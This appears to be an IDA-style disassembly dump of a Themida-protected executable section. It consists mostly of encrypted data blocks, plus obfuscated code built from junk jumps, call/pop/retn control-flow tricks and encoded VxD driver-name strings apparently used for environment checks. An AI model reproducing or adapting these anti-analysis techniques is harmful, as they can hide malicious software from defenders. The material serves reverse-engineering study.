8EC5B894h, 0CF73D898h, 0ED43D18h dd 8DD90000h, 77C7E9C9h, 7FD1F7D7h, 76C5EBCBh, 87D6FCDAh dd 71BEEDCDh, 2787CD1Ch, 3F9FB301h, 2482C619h, 1A1ABFEh dd 6CE61738h, 3516B412h, 0E5C282DCh, 9DB51670h, 6DFBDF10h dd 543554E5h, 55F74A8Ch, 0DD6FC204h, 0FE87DCFEh, 7091A0AAh dd 7218C711h, 1EAF63D8h, 6434902Eh, 0CCA341E6h, 68h, 0C8BEA372h dd 57E6CCEBh, 99A8AA3Ah, 30CF1978h, 168EA63Dh, 0C8C11436h dd 786D775h, 0D7B6D766h, 98F14486h, 0D7360745h, 183718B6h dd 8AA369E5h, 9D3320Ah, 0F9D676C7h, 0BA0D84D1h, 3F5EEF8Eh dd 311936B5h, 783F2A4h, 0D00A8AA3h, 0FC1D2C4Dh, 0E5A1C8F4h dd 72C1E9C6h, 0C60E8FDEh, 7B98AE47h, 1AABAF10h, 0D5735332h dd 0C1E16DBDh, 0E0FF4FDFh, 0C9E668FAh, 9DB53A94h, 3A820310h dd 0B5055AABh, 9A2D109Dh, 0B2F10AEh, 0CC84D3BEh, 737D1C7Dh dd 47642247h, 8BFF7816h, 0E7163916h, 0A87696Bh, 5A07D134h dd 22B69C3Bh, 8BAC8B28h, 8769005Ah, 1544C90Ah, 0A8768B9h dd 9BB90382h, 0DE89473Dh, 8331A3C1h, 5000001h, 6AC4BAA3h dd 93C2E5C2h, 109DB537h, 0B4539D00h, 109DB555h, 0C271CD4Ch dd 0E16DBDE5h, 0DAE26EBDh, 0DB0B7580h, 69C5BBA3h, 0BDA3A781h dd 6FC2E8C7h, 0C24913DDh, 0B3C50E0h, 0CC15F521h, 708D0B1h dd 4DE0C25Bh, 0BF6DF5FFh, 27A641DEh, 64h, 0A6DDC23Bh, 6DE1713Fh dd 2216BDDCh, 1824ACB2h, 581F4CEh, 0CE109E14h, 0C2142E4Fh dd 9DB53293h, 0FF4F7310h, 559FFE4Fh, 0C2D97598h, 0DDC268h dd 0D44A0865h, 0B2064890h, 0E0C2BE98h, 2F6EFF4Dh, 4011398Bh dd 4895F7C1h, 5C7ED062h, 97F6470Dh, 0E0C2934Dh, 97D8FF4Dh dd 9AB97961h, 5A88D31Dh, 26000000h, 5530DDC2h, 389B92D8h dd 635A84B0h, 431F7ED6h, 0B53293C2h, 0EA29109Dh, 9DB51F7Bh dd 0D2A95010h, 50957E5Bh, 871D8203h, 0E1B68DBDh, 0C2E94524h dd 196BBD68h, 6FF80E18h, 1C3657B3h, 388FDDC2h, 0B8735875h dd 9DCDC945h, 12739210h, 381748CAh, 9DCE49C5h, 0E9F31210h dd 0DE99476Fh, 3241A641h, 15000000h, 6BC7BDA3h, 0B53293C2h dd 8203109Dh, 0A4B0FD25h, 0E0C2C21Ch, 0D031004Eh, 0BD6FCB08h dd 0C245E16Dh, 0AC3C4DE0h, 177697A6h, 0C4954BCDh, 34h dd 0C7BDA36Ah, 0BDE5C26Bh, 0E8FDE6Ah, 0B4C647C6h, 5CBD109Dh dd 0C268C202h, 0F3FD4BE0h, 61FD51E1h, 1670E5C2h, 0DF109DB5h dd 72EC21BEh, 3B109DB5h, 0E28012DAh, 0FFFE74C4h, 0BEA36AFFh dd 6A7AEBC8h, 9F168BF9h, 617E617Eh, 8768B22Ch, 295C7B0Ah dd 0A8768ADh, 6E761776h, 2CADD96Ch, 8477D4D9h, 0B6993657h dd 86BCCB47h, 0DEAB940Ah, 0D3652A74h, 82D01879h, 98517AA5h dd 0E98F32BFh, 2667F65Ah, 26417D47h, 7A607F5Ch, 2C5B65E7h dd 0A86F2B2h, 0BA4B1A7Bh, 0A86F362h, 0C4E861ADh, 5AA8D8F4h dd 3C5Ch, 12700200h, 4E109DB5h, 0E86293FBh, 0B1109DB4h dd 77F1476Ch, 0E1630113h, 22052280h, 9E5F57B3h, 0F3FD2010h dd 11BE8h, 4CDFC300h, 8D298736h, 0D5B4B426h, 61F34284h dd 8D0B1D0h, 0C8BEA34Eh, 0ABFF7AEBh, 5278168Eh, 0F398E03h dd 36BEDF6Eh, 537754B9h, 0D89C8604h, 6AE57480h, 0B394C10Bh dd 0D9E62F8Ch, 88D77134h, 791879C8h, 90AF2B5Ah, 15780A8Ah dd 123689CBh, 1EAF93B4h, 1FB4A62Eh, 0C51C1829h, 70C0E2C1h dd 0AA3253E2h, 0D51438ADh, 0FEE11078h, 7445138Fh, 63F6DC04h dd 0A34088E9h, 0CA5D4562h, 0E57A607Eh, 0CB5E4463h, 8751B081h dd 0D6D4FBD8h, 0AEA231CCh, 48778209h, 962D3480h, 0C31F4E46h dd 8C047449h, 0B8D96809h, 0FADDFAD9h, 744A0F8Bh, 2BB5D804h dd 629432DCh, 5B49B0Ah, 87FDFFF8h, 0ABEF330Fh, 5E7B8004h dd 27BAA03Fh, 99CF667h, 2065FE5Eh, 0EE3F6141h, 9F16DA0h dd 98BAFE5Eh, 0A6B0A48h, 0D8F82A57h, 0B5905773h, 0AAAh dd 3F9FB703h, 2585C919h, 3999B103h, 2A88C817h, 3B9BB908h dd 77C62708h, 8DDBFDDDh, 70C3E5C5h, 85D8FAD8h, 0F5DAE7C7h dd 0B4160680h, 0E85ACF16h, 84BAE5C2h, 9AAA9050h, 0FAD53120h dd 7F9E109Dh, 0B4D26375h, 159D6763h, 0E242FB12h, 9B883FCEh dd 8DCA9BFAh, 2B3A16A5h, 5DF0E2EAh, 0E77C5EEFh, 5CEED061h dd 726063F2h, 8C06ECD9h, 97F243EFh, 0D9380949h, 818A83F2h dd 0C8A90035h, 0C78252EAh, 3C2AA341h, 8D000000h, 29ADEBA2h dd 32BA5814h, 0C8BEA3A8h, 0A4EB7AEBh, 0F91C168Eh, 79D36668h dd 66E67759h, 0F690D9D7h, 0A4D9F6D9h, 0A8AA42Ah, 0BB4A92F3h dd 107B9B3Eh, 0C7E8C647h, 6AFB53E3h, 0BD37A12Bh, 92C1E16Dh dd 109DB53Fh, 4BBAD063h, 109DB4CFh, 0B6147598h, 0B8176F7Ah dd 8BFF8E45h, 6D4ACB16h, 7757F345h, 0DE8947D9h, 1131A3C1h dd 5000001h, 6AC4BAA3h, 0B53293C2h, 0A829109Dh, 7568C28Eh dd 0BBA3DB0Bh, 0A78169C5h, 6BC7BDA3h, 994764FEh, 41A641DEh dd 39h, 0D1DDC215h, 9AC2379Ah, 381AAA0Ch, 265A84B0h, 3293C20Ch dd 3109DB5h, 0AEFD2582h, 1FAF93A2h, 9EFF1E2Fh, 68C28C56h dd 83DF6BBDh, 0E87A607Dh, 0C4045E66h, 49h, 0C5BBA36Ah dd 3293C269h, 29109DB5h, 0B92C0BA8h, 109DB55Dh, 83DDE726h dd 0C47DDC2h, 0C72F1BCDh, 0D8FFE0FDh, 831D9FFBh, 0DB854FB9h dd 0DF6BBDh, 0A1465FD7h, 3D87F453h, 50E0C2A3h, 758BA02h dd 0C0DE5020h, 656F1E57h, 0DE9947FBh, 2F41A641h, 15000000h dd 351E0C2h, 21637DB9h, 3293C205h, 3109DB5h, 68C2A882h dd 45E16DBDh, 0B110DDC2h, 537DB0F8h, 9AFB4A02h, 19FF1FBh dd 24C4h, 0BDA36A00h, 93C26BC7h, 109DB532h, 0C28EA829h dd 94C16CDDh, 5098E23Ah, 0AAFE2403h, 0BDBE18A0h, 7D45E16Dh dd 4BE0C2E3h, 0E6E8F3FDh, 46FFFFFEh, 0EBC8BEA3h, 8BF96A7Ah dd 617E9F16h, 3F63E779h, 48955FEFh, 5D7DCF62h, 5F7C0661h dd 0D564EC7Bh, 0BE2F2CB4h, 0A876964h, 0B894252Dh, 380968A9h dd 87694FC9h, 0DB709A0Ah, 0A852E3B1h, 154B5Ah, 0C2EF0000h dd 0F6FE4CE0h, 9DB53797h, 6AE27310h, 0F76D4Ch, 0A3D10000h dd 7AEBC8BEh, 168EB277h, 0C385DA00h, 8A296CF9h, 0AFDE38ADh dd 66A70A8Ah, 659815Eh, 13426542h, 0A8AAFB7h, 3A29DAE8h dd 122129ADh, 0CAEBE9F3h, 0D8FA58E8h, 1677C684h, 11378CCEh dd 0E66095B2h, 0AF0A8A5Bh, 0A907666Eh, 74E9C6C0h, 1078A054h dd 684764A9h, 0EF98F042h, 4BDF1195h, 84A92F3h, 2CA6D7B3h dd 0F504748Ah, 0F4D1F190h, 0EFD37DCEh, 3C5DEC5Ch, 750DA2B4h dd 3882F98Ah, 0A4389AF2h, 3A76C7A6h, 578572Fh, 0A622D39h dd 634463A2h, 719CA73Ch, 3A82CE4Ch, 94C9C518h, 0FE5D883Ah dd 3591C403h, 0FEFE5D88h, 3F9FFE9Fh, 0A4AA3C1Eh, 0E2A73A1Ch dd 2D6CFD4Fh, 75EE194Ch, 600773D8h, 78965h, 0C0962400h dd 0E06EC0E2h, 0FE4CE0C2h, 0E769FAE0h, 54E1C7h, 4FBC73A2h dd 4E745202h, 547654FEh, 476949FFh, 6B7856F6h, 1895F164h dd 4B5E16B4h, 0E06CBD17h, 70DC6D51h, 1AAF19E1h, 5877D568h dd 3257DD6Fh, 6809AEA0h, 78666EA5h, 6DE57357h, 0AB33BDDCh dd 0A34141EDh, 2755h, 0BEA3E900h, 78C7EBC8h, 0C00889D8h dd 0A1E76293h, 6DB0168Eh, 0A02DADDCh, 0A840A8Ah, 18D4B71h dd 5F355AADh, 9000000h, 351E0C2h, 0AD09D332h, 0CDF5D2B4h dd 283D27Eh, 0B1689DBAh, 0F2168EB3h, 2D80C293h, 2342085Ch dd 0D832A384h, 0A10A8AACh, 4466747Ch, 0AE0A5BF1h, 66E015B3h dd 9F0A8AADh, 8AACF46Eh, 0B58BD0Ah, 99CCEB8Ah, 107BAA94h dd 6C4B68ADh, 0A7C01A4Bh, 4890477h, 77A7F955h, 7943C204h dd 25B9FD5Bh, 0C2E1A5BCh, 8EA61293h, 1E22316h, 0C6E3F9DEh dd 0FB4BE721h, 75C484D7h, 823DCC14h, 58CAD893h, 27567511h dd 5004F012h, 4909577Bh, 30AADBF8h, 0F94400EDh, 7EEBF594h dd 0F7F24E1Fh, 2203E2C9h, 1A7BAA57h, 407548BDh, 0AFEE49F2h dd 0B5972A10h, 0AAA23315h, 691A9EB7h, 0C904A3B3h, 646h dd 5B7BDB67h, 4969E575h, 5575D567h, 4E6CE473h, 5777DD6Ch dd 13A2CB64h, 0F13F6141h, 0CC5F4161h, 0E97C5E7Ch, 59764363h dd 0B419AA24h, 441E7316h, 0FF4DE0C2h, 0FA52E3F5h, 75D5676Bh dd 6FE57456h, 71567765h, 798CB47Ch, 0CBA0A39Bh, 8CB25D42h dd 459C9820h, 0D1F36241h, 26168BFCh, 4FE2C8E7h, 5274F3FDh dd 0C2194CFEh, 0F3800259h, 5D41934h, 8DD90000h, 77C7E9C9h dd 7FD1F7D7h, 76C5EBCBh, 87D6FCDAh, 71BEEDCDh, 2787CD1Ch dd 3F9FB301h, 2482C619h, 1A1ABFEh, 6CE61738h, 3516B41Bh dd 0E5C282DCh, 9DB51670h, 6AFBDF10h, 8D1F83E2h, 636DACBDh dd 1EB11257h, 0F96C4B2Ah, 168BF8D3h, 7A5CED30h, 0B4F164E6h dd 0D1800255h, 5743F1Ah, 0AD390000h, 972709A9h, 9F3117B7h dd 96250BABh, 0A7361CBAh, 111E0DADh, 0C7E76DFCh, 0DFFF53E1h dd 0C4E266F9h, 0A1014BDEh, 0CC46B798h, 9516B41Ah, 0BEA3E27Ch dd 0E6CCEBC8h, 2A6BFA54h, 0F91963A2h, 1F7E168Bh, 92B80C4Eh dd 257B4DFh, 332EBD80h, 522h, 0B7173F8Bh, 0AD0D4191h, 0B111398Bh dd 0B210408Fh, 0B3134190h, 0EF3EAF80h, 0D5634565h, 0E87B5D7Dh dd 0CD604260h, 4D925F7Fh, 0B41ABE18h, 30128716h, 8E1D6CBDh dd 0B092A3C2h, 0CD1E2F1Dh, 2403B445h, 9DB555B1h, 0E0FF1E10h dd 9DB531ADh, 519BFA10h, 419EAEFFh, 3983C719h, 0A8A4351Bh dd 0B4E96899h, 9625109Dh, 17A7ABBAh, 3DB52637h, 309AD9CCh dd 3356E79Bh, 7D9CADA5h, 4C9BBF1Ch, 0C19EBC04h, 35044899h dd 0EE60F2D4h, 0EB61F4E6h, 67E5785Ah, 64224747h, 0A2DB1647h dd 2164168Eh, 9F61E110h, 0C9D0A8Ah, 9EF75382h, 5DC00A8Ah dd 98292D3Ch, 0FD6FA5B4h, 350998Ch, 18CCF01Ch, 22B37750h dd 9BFA1B2Ah, 1A42B751h, 5AAD735Ah, 0A7371B3Ch, 67796A7h dd 0A8A518Ch, 71A83055h, 4Fh, 4CE0C2C5h, 0B551CD40h, 0FB1A109Dh dd 824ACB9Ah, 7C5B2B36h, 8E980809h, 0A5B4D916h, 0FA5489A6h dd 0C30A8A87h, 8B0B7A42h, 0E20A8A87h, 3E6413A8h, 0CD955FE9h dd 5AAD390Fh, 134C6F1h, 787390D8h, 89DD8905h, 5233520Ah dd 0B1138Ah, 0BD270000h, 57B3226Ch, 20109DB5h, 8ECD9CFDh dd 24351BACh, 6CF9DBE5h, 79ECCBE8h, 109DB51Dh, 0CE1DA7E6h dd 4213398Ch, 3F9FAD00h, 9DB18FCCh, 0D6664C10h, 24ACED7Ch dd 0DAD9F32h, 0A3B29A2Bh, 8D2A5C85h, 8E820D58h, 7757B616h dd 77543237h, 80480053h, 0E8882253h, 0C911074h, 163E8BAFh dd 114392B8h, 0EFC3FD5Ch, 5E7B3279h, 386h, 1BBB9B27h, 9A9A535h dd 15B59527h, 0EACA433h, 17B79D2Ch, 53E20B24h, 317FA101h dd 0C9F8121h, 29BC9E3Ch, 99B68323h, 0B41CEA64h, 45EB316h dd 912170BDh, 1AAAACBDh, 89E82938h, 55E8CAE8h, 0C279D7F7h dd 0B51670E5h, 0BEDF109Dh, 0A7DF0A36h, 98F4D508h, 0D35168Eh dd 9D4A92BEh, 0E7775B78h, 2DB7D667h, 88CF4FBEh, 0BB0B0A8Ah dd 2D80C293h, 850D4E1Fh, 4EB801F4h, 3EC18FBDh, 0C1695AADh dd 0CD000000h, 51E06CBDh, 0E574E06Dh, 9DB17794h, 0AE9E2F10h dd 0B5972A10h, 3483A7A4h, 8168D41Ch, 0EA37A605h, 93168E81h dd 54735472h, 8A7FA521h, 0A04D60Ah, 705B6A08h, 1E1AA2E3h dd 71E4C3C3h, 10748794h, 8F0B7A5Dh, 58047483h, 0DE6FE172h dd 20BFDEBFh, 0AA9AB3Ah, 0A9B89628h, 2D3C18A5h, 15438DECh dd 7DF0A633h, 4748421h, 97CAABEAh, 79EF7230h, 8BBF9A51h dd 22000002h, 0BEE4C294h, 0DEC4E26Ch, 80A2004Ah, 9F81212Fh dd 31644212h, 14408DFEh, 0E4494B6h, 13358AB0h, 103C8DB3h dd 37A6A9B2h, 16B41DDBh, 0C2D16DA4h, 320351E0h, 7AC709D3h dd 0F4DBFCDAh, 0A5A6146Eh, 0A5A731DAh, 409A3814h, 1670E5C2h dd 0DF109DB5h, 912436BEh, 45331CBBh, 0C278BFB4h, 4B89C18Ch dd 761794C7h, 8ADBFF6Eh, 0E4C3E4C2h, 9E6D1571h, 35BFDE10h dd 55E3E009h, 4C2D6CFDh, 0F19486Fh, 0E582F5FBh, 128FFEDBh dd 0DB168F3Ch, 0FC5AABBAh, 530A8B39h, 0AD9542B7h, 0E120311Dh dd 63B17FD7h, 40195AACh, 0BA000000h, 41EE689Dh, 56B70A8Bh dd 0BEA3D48Eh, 637AEBC8h, 0A4168EA3h, 0CFF3D061h, 7908D080h dd 0A8A9F19h, 77A51670h, 5AAD00B9h, 4121h, 708DB200h, 0F16DA07Bh dd 0BA0A8A19h, 1699745Bh, 0C225AF39h, 6CFD4BE0h, 0E564A32Dh dd 7109DB4h, 0C0F1DEE2h, 83445B27h, 36DAC5E2h, 0E5A6E2B1h dd 1B358628h, 0F85184D1h, 0B9168F6Dh, 71104491h, 0BEA3F751h dd 577AEBC8h, 0B0168EA4h, 2DADDC6Dh, 840A8A9Eh, 89057857h dd 520A8A9Dh, 0EA5FA933h, 0AD0FF2C2h, 1FAE945Ah, 0DBE52435h dd 13C4h, 12709A00h, 34109DB5h, 0B7A592Dh, 168EB292h, 36943253h dd 0EBC8BEA3h, 8BF94A7Ah, 815EBF16h, 66440859h, 0A5BF144h dd 0FA56E5CDh, 7ACB89D8h, 7C65D11Bh, 8338AD0Ah, 1075B3h dd 16193E9Dh, 138FFE10h, 0DC0471B2h, 44EF12B9h, 1735CCF3h dd 0D1C7F9DFh, 55E8CA07h, 0CDACA234h, 0D27ACBEDh, 4A3C2583h dd 0DDDDF86Dh, 24260A61h, 6EAFBE94h, 0CAF75A0Fh, 650473D8h dd 0C968h, 56E400h, 202E80A2h, 3E0CA082h, 2729BAA0h, 4014A187h dd 8FFC3362h, 8EB41242h, 94B6143Eh, 87A9093Fh, 0ABB81636h dd 1FD531A4h, 8B9E16B4h, 0C8BEA3D7h, 0EEE3CCEBh, 0D4C72A7Ch dd 0F4450358h, 9DECF495h, 168CF7E2h, 38172667h, 0BC8DBF12h dd 930F7E5Dh, 5C0A8861h, 0C9DAF39h, 0ED406240h, 0CA7F0E5Fh dd 3F4546ADh, 0A9AB3A20h, 0D04ABB98h, 99AEC6ACh, 41CB1574h dd 1A401FC8h, 78D283C5h, 41AEC6ADh, 6FC214DCh, 0FAE0FDDDh dd 0FCDEE668h, 7052E369h, 0ECE071DFh, 0F45CEBCFh, 7E29A2ECh dd 7E460C5Ch, 6343095Ch, 0B9DEC3Dh, 8EEF2E3Fh, 9BB7A0BFh dd 0F6508576h, 0BFAEC60Eh, 0CFF5795Eh, 3C40FD9h, 6A000000h dd 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h dd 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh, 56221524h dd 0C681E689h, 4, 8704EE83h, 895C2434h, 89572414h, 4C781E7h dd 81000000h, 4EFh, 243C8700h, 2414895Ch, 81E78957h, 4C7h dd 4EF8300h, 5C243C87h, 57243C89h, 164DE4BFh, 8BFA8906h dd 0C483243Ch, 7D7D6804h, 24890000h, 24048124h, 4, 8956555Fh dd 5EF589D6h, 5D086F89h, 53243C8Bh, 0C381E389h, 4, 4C381h dd 1C870000h, 34FF5C24h, 0C4815A24h, 4, 0FD14C3E9h, 4B0E06FFh dd 0CC5743E5h db 80h ; --------------------------------------------------------------------------- loc_5B2F71: ; CODE XREF: Themida_:loc_5B0FD7j mov eax, 6166C15h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 0DECFh dd 6C2A4FE8h, 0D0A73E0Bh, 0C20C4BDBh, 0E23F17BEh, 0E0766F2Ch dd 0F12A2704h, 3F48248Ah, 998827B2h, 0FF2E62E6h, 0E3E04924h dd 8F561AA2h, 0D2A90DACh, 25B10FEBh, 0B11D5A18h, 84F44AB8h dd 0F26704D1h, 505E7C40h, 0E87B79A3h, 915B5358h, 204A5C59h dd 38EF084Fh, 6A015ACh, 809912CDh, 89ED7D0Eh, 7E81720h dd 2B000000h, 23E0C1ACh, 0B70FAC57h, 66605ADAh, 8B66D68Bh dd 0C28161CAh, 5CE2h, 6890Fh, 0E3810000h, 1517290Ch, 0EE81FF2Bh dd 144DB994h, 0E91734FFh, 0Ah, 0ECD01A98h, 0B3DC9A5Fh dd 0E859084Bh, 6, 1B01C310h, 815B1403h, 5AED51F1h, 28E98108h dd 660D1EA4h, 81ADA6B8h, 0CDDB6AF1h, 7E907h, 0F7090000h dd 26269204h, 3A0C89F2h, 0CED08166h, 0EE890h, 0B6C20000h dd 0FE5EA07Eh, 0A62ED66Eh, 852B41B8h, 800Fh, 83580000h dd 0C88104EFh, 1A47D8FDh, 0A3DCFF81h, 850FFFFFh, 0Eh, 16E9BFB3h dd 0A7000000h, 0E12F17C4h, 0E9F83476h, 0FFFFFF74h, 0AE6159F7h dd 0AAEF74EEh, 14E816h, 0C8500000h, 0B1DB59E1h, 0BBF3C53Fh dd 36679CE7h, 7A14697Ah, 6E822BFh, 32000000h, 0C5692D66h dd 65BB667Dh, 0F59582Fh, 884h, 2840F00h, 8B000000h, 2DC181F9h dd 0F000075h, 1C68C3B7h, 0F00001Dh, 187h, 665EF500h, 8B9DE5BBh dd 0EA81F911h, 66D1A659h, 3CCADF81h, 0EA817030h, 6598A206h dd 8F16CB81h, 0C281703Eh, 2208AC27h, 8830Fh, 0F600000h dd 8Bh, 66526100h, 18BDE881h, 8166018Fh, 832499E0h, 0C28B04E9h dd 0F01EE83h, 1B85h, 0FFBF0F00h, 22E9h, 0D3C47300h, 0E9823B5Fh dd 0BC149BDEh, 0AF3D4616h, 815A0A04h, 0FFFF96E9h, 0EEA232FFh dd 26870840h, 0E8B68941h, 14h, 31BF9F88h, 279F806Ah, 8BF6C07Ah dd 188A0DD5h, 46FC4B57h, 0FE9h, 98ECBB00h, 27A5FF4Bh, 0CCCC6300h dd 507EE667h, 8191B05Ah, 5D5BC2h, 0BFF500h, 81000000h dd 0ECD718F1h, 3A348B69h, 10E8h, 2B6D5900h, 19BBFD81h dd 0E3AC4D54h, 1327BE0Eh, 0BCF5806Ah, 26F68158h, 0E92FE702h dd 7, 95F5CF99h, 81B16B2Eh, 619873F6h, 0C38B6638h, 2E9CF681h dd 0B70F2623h, 0B70F56CEh, 3A048FC1h, 6660C78Bh, 61F44FB8h dd 0BC59EF81h, 81F54C26h, 26BC55C7h, 0AE84Ch, 60A80000h dd 0EA63B6B1h, 8E22FBB9h, 2880Fh, 61600000h, 98FF8158h dd 0FFFFFA3h, 2785h, 0C9816000h, 2151CFF7h, 2870Fh, 61600000h dd 25E961h, 0A4F00000h, 14DC55EBh, 0A82F884Fh, 8753EB7Ah dd 10A2B48Bh, 0FF53E9FCh, 6254FFFFh, 21B9F048h, 7656E725h dd 0EBFDB683h, 53464934h, 2052474Dh, 444B5620h, 20202020h dd 4D4D5620h, 20202020h, 49575620h, 2032334Eh, 44585620h dd 2052444Ch, 20h, 2 dup(0) dd 842E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 8E0C88C3h, 0FE939E7h, 21000000h dd 426043E0h, 79F2CC69h, 92CE099Bh, 6A605B38h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 8EE6C356h, 0E9F93A59h, 0Bh, 0EC083FBEh, 0E48F91F7h dd 0C7CADC83h, 166FC785h, 6, 0C810F00h, 60000000h, 3E62ADBEh dd 1B25BF73h, 8B616B97h, 53006AC6h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0DB2F31EAh, 8E0F9DBFh dd 0Eh, 9E9h, 1716C00h, 536BE0B9h, 0B70FDD07h, 8B6660D8h dd 8E0FF8h, 61000000h, 0E910E8C1h, 12h, 831778EDh, 723902E1h dd 54F972B5h, 3B6D29EDh, 0C166A578h, 6A08C8h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0FB2898C3h dd 60C90FE3h, 5870Fh, 81660000h, 81B850CBh, 2DD657CAh dd 8589611Ah, 6166FCBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 4EC35242h, 840F9E06h, 1, 78E0FF5h, 0F000000h dd 18Dh, 0C166F500h, 6A08CBh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 60680EC3h, 8E8h, 5C930B00h dd 0FE62BA48h, 8C0F5F8Ah, 13h, 0DE8h, 0D0A6900h, 0ED04C79h dd 32AAB3ADh, 615F6821h, 0F40FB83h, 6E85h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0E4A3713Eh, 8A0FF757h, 0Ch, 6860Fh, 8E0F0000h, 0 ; --------------------------------------------------------------------------- jbe loc_5B348A jnb loc_5B348A jg $+6 loc_5B348A: ; CODE XREF: Themida_:005B3478j ; Themida_:005B347Ej clc lea edi, [ebp+6166F9Fh] pusha jo loc_5B349C mov ax, 5603h loc_5B349C: ; CODE XREF: Themida_:005B3492j pusha clc popa popa jmp loc_5B35FA ; --------------------------------------------------------------------------- jmp loc_5B34B3 ; --------------------------------------------------------------------------- mov esp, 0B6F6F5E6h or al, [esi+ebx*4+51h] loc_5B34B3: ; CODE XREF: Themida_:005B34A5j cmp ebx, 0Dh jnz loc_5B34E6 pusha or edi, 65880BF0h movzx edx, cx popa lea edi, [ebp+6166FA7h] jno loc_5B34D4 stc loc_5B34D4: ; CODE XREF: Themida_:005B34CDj jmp loc_5B35FA ; --------------------------------------------------------------------------- jno loc_5B34E6 jns loc_5B34E6 clc loc_5B34E6: ; CODE XREF: Themida_:005B34B6j ; Themida_:005B34D9j ... cmp ebx, 1 jnz loc_5B3545 push 0 push esi call sub_5B34FA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B34FA proc near ; CODE XREF: Themida_:005B34F2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5B34FA endp ; --------------------------------------------------------------------------- dec esi mov [ebp+166FAFBDh], ecx push es push 0 push edi call sub_5B351D and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B351D proc near ; CODE XREF: Themida_:005B3515p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5B351D endp ; --------------------------------------------------------------------------- dec ebx mov ecx, 62CCF9BAh push eax jmp loc_5B35FA ; --------------------------------------------------------------------------- pusha mov ecx, 16E091D8h or dx, 6990h popa loc_5B3545: ; CODE XREF: Themida_:005B34E9j cmp ebx, 2Ah jnz loc_5B35CE push 0 push ebx call sub_5B3559 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B3559 proc near ; CODE XREF: Themida_:005B3551p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5B3559 endp ; --------------------------------------------------------------------------- db 87h, 1Ah, 45h dd 6D8C0BFEh, 880FD140h, 4, 615E5160h, 6FB7BD8Dh, 6A0616h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 9847D9C3h, 318269Ch, 0DE903h, 0E1740000h, 5F9B774Dh dd 0F8176773h, 0F9B63133h, 3DE9h, 0B800F00h, 60000000h dd 0FD3B70Fh, 88h db 0, 61h ; --------------------------------------------------------------------------- loc_5B35CE: ; CODE XREF: Themida_:005B3548j cmp ebx, 27h jnz loc_5B397A jmp loc_5B35E1 ; --------------------------------------------------------------------------- pop eax add al, 0DDh xchg eax, ebx scasb loc_5B35E1: ; CODE XREF: Themida_:005B35D7j lea edi, [ebp+6166FBFh] jmp loc_5B35FA ; --------------------------------------------------------------------------- dd 0FBA081C4h, 0FC21FE3Bh, 4C82C4F4h ; --------------------------------------------------------------------------- mov bl, 0BBh loc_5B35FA: ; CODE XREF: Themida_:005B34A0j ; Themida_:loc_5B34D4j ... mov [ebp+6166FCFh], edi push 0 push ebx call sub_5B360B and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B360B proc near ; CODE XREF: Themida_:005B3603p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5B360B endp ; --------------------------------------------------------------------------- mov ch, 9Eh nop mov ax, cs push 0 push eax call sub_5B362C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B362C proc near ; CODE XREF: Themida_:005B3624p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5B362C endp ; --------------------------------------------------------------------------- dd 8A0F561Eh, 8, 2870Fh, 61600000h, 11E960h, 3DD70000h dd 0DB9E6EF6h, 0D98F3C3Ch, 0D7905C7Bh, 618065A1h, 0FC600324h dd 0D20CBF66h, 0FC00A61h, 24985h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0B58D3D63h dd 6167739h, 9D858BF8h, 6A061677h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 678DC351h dd 0F60F841h, 1581h, 10E900h, 8B020000h, 0F7756861h, 0E8BD1A0h dd 56996B76h, 9261C6A0h, 10E95250h, 0A8000000h, 5DDAE9E6h dd 0FE16C4C8h, 0CAC07ED6h, 0F1DCD14h, 198B0F31h, 0E9000000h dd 14h, 0E7F1D87Ah, 0F9234222h, 0ABB545BBh, 8C9F1F3Fh dd 9AEC221h, 5050585Ah, 0BE952h, 0A4210000h, 81AAA0CAh dd 3ABEAB4Eh, 0E9310F4Ah, 14h, 5FD93DAh, 0FE51BFFFh, 0C0E6E17Fh dd 0A25DA4A2h, 32F299Fh, 0E992585Ah, 0Eh, 2318468Bh, 7F63214Fh dd 7417D3BCh, 10F56A6h, 6AFE244Ch, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0E548C352h dd 4F88EF62h, 0F5AB560h, 0F83h, 0AE900h, 51B10000h, 37165F58h dd 1BFBC055h, 1D8C0F61h, 60000000h, 10E8h, 59354500h, 902F20D7h dd 482C4580h, 0D4FC016Ah, 81665BD0h, 6173B4C9h, 55006A5Ah dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 44114CE8h, 0DE630A1Fh, 0C2836160h, 57006A24h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 46BCE42Ah, 0C57D058Bh, 1820F09h, 0F5000000h, 0FC728966h dd 0E853006Ah, 3, 